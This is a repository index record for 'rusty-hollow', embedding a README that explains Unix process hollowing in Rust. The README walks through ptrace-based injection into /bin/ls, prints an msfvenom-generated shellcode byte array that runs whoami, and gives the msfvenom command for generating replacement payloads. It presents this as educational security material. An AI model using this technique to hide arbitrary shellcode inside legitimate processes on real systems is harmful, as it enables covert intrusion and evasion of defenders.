{"id":23390075,"url":"https://github.com/affix/rusty-hollow","last_synced_at":"2025-04-08T14:19:17.529Z","repository":{"id":268446026,"uuid":"904387354","full_name":"affix/rusty-hollow","owner":"affix","description":"Unix Process hollowing in rust","archived":false,"fork":false,"pushed_at":"2024-12-16T20:49:56.000Z","size":9,"stargazers_count":20,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-02-14T10:43:18.886Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/affix.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-12-16T19:40:45.000Z","updated_at":"2024-12-30T04:17:13.000Z","dependencies_parsed_at":"2024-12-16T20:41:33.677Z","dependency_job_id":"56b57932-557b-4c55-a24b-fd2f04e4e356","html_url":"https://github.com/affix/rusty-hollow","commit_stats":null,"previous_names":["affix/rusty-hollow"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/affix%2Frusty-hollow","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/affix%2Frusty-hollow/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/affix%2Frusty-hollow/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/affix%2Frusty-hollow/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/affix","download_url":"https://codeload.github.com/affix/rusty-hollow/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247856542,"owners_count":21007621,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-12-22T03:28:11.053Z","updated_at":"2025-04-08T14:19:17.504Z","avatar_url":"https://github.com/affix.png","language":"Rust","funding_links":[],"categories":[],"sub_categories":[],"readme":"Process Hollowing on Unix with Rust\n====================================\n\nThis repository provides an example of process hollowing on Unix systems implemented in Rust. Process hollowing is a technique often used in penetration testing and malware development where an executable process is started and its memory is replaced with arbitrary shellcode, effectively \"hollowing out\" the original process.\n\nIn this example, the process /bin/ls is hollowed and replaced with shellcode. By default, the shellcode executes the whoami command, generated using msfvenom.\n\n## Features\n- Demonstrates process hollowing on Unix systems using Rust.\n- Uses ptrace for memory manipulation and process control.\n- Executes arbitrary shellcode within the hollowed process.\n\n## Shellcode Details\nBy default, the shellcode used in this example is a whoami shellcode, generated by msfvenom. It prints the current user's username when executed.\n\nThe shellcode is pre-generated and included directly in the code as a byte array:\n\n```rust\nlet shellcode: [u8; 43] = [\n    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f,\n    0x73, 0x68, 0x00, 0x99, 0x50, 0x54, 0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63,\n    0x54, 0x5e, 0x52, 0xe8, 0x07, 0x00, 0x00, 0x00, 0x77, 0x68, 0x6f, 0x61,\n    0x6d, 0x69, 0x00, 0x56, 0x57, 0x54, 0x5e, 0x6a, 0x3b, 0x58, 0x0f, 0x05\n];\n```\n\nThis shellcode can be replaced with any custom shellcode for testing purposes.\n\n## Prerequisites\n- Rust: Ensure you have the Rust toolchain installed. Visit rust-lang.org for installation instructions.\n- Unix-based OS: This example is designed for Unix systems (e.g., Linux).\n\n\n## Generating Custom Shellcode\nTo generate your own shellcode (e.g., with msfvenom):\n\n```bash\nmsfvenom -p linux/x64/exec CMD=whoami -f rust\n```\n\nReplace the default shellcode in the source code with your generated shellcode.\n\nHow It Works\n- Forking a Child Process: The program forks the current process into a parent and child.\n- Tracing the Child: The child process is started under ptrace for debugging.\n- Executing /bin/ls: The child process executes /bin/ls using execve as a placeholder process.\n- Injecting Shellcode: The parent process writes the shellcode to the child process's memory at its instruction pointer (RIP).\n- Resuming the Process: The parent process resumes the execution of the hollowed child process, running the shellcode.\n\n## Usage\n\nClone the repository:\n\n```bash\ngit clone \u003crepository_url\u003e\ncd \u003crepository_directory\u003e\n```\n\nBuild the project:\n\n```bash\ncargo build --release\n```\n\nRun the binary with root privileges:\n\n```bash\nsudo ./target/release/process_hollowing\n```\n\nObserve the output:\n\nThe parent process will print logs showing the memory manipulation and injection.\nThe hollowed process will execute the whoami shellcode, printing the username of the current user.\n\n\n## #Example Output\n```\nI'm the parent! My child is 12345\nChild stopped: Stopped(PtraceEvent)\nRIP: 0x7fffabcde000\nWriting shellcode to child process...\nWrote chunk to 0x7fffabcde000: 0x68732f2f6e69622f\n...\nShellcode written!\nroot\n```\n## Disclaimer\nThis project is for educational purposes only. Misuse of this code can result in legal and ethical consequences. Always ensure you have explicit permission before using techniques like process hollowing.\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faffix%2Frusty-hollow","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Faffix%2Frusty-hollow","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faffix%2Frusty-hollow/lists"}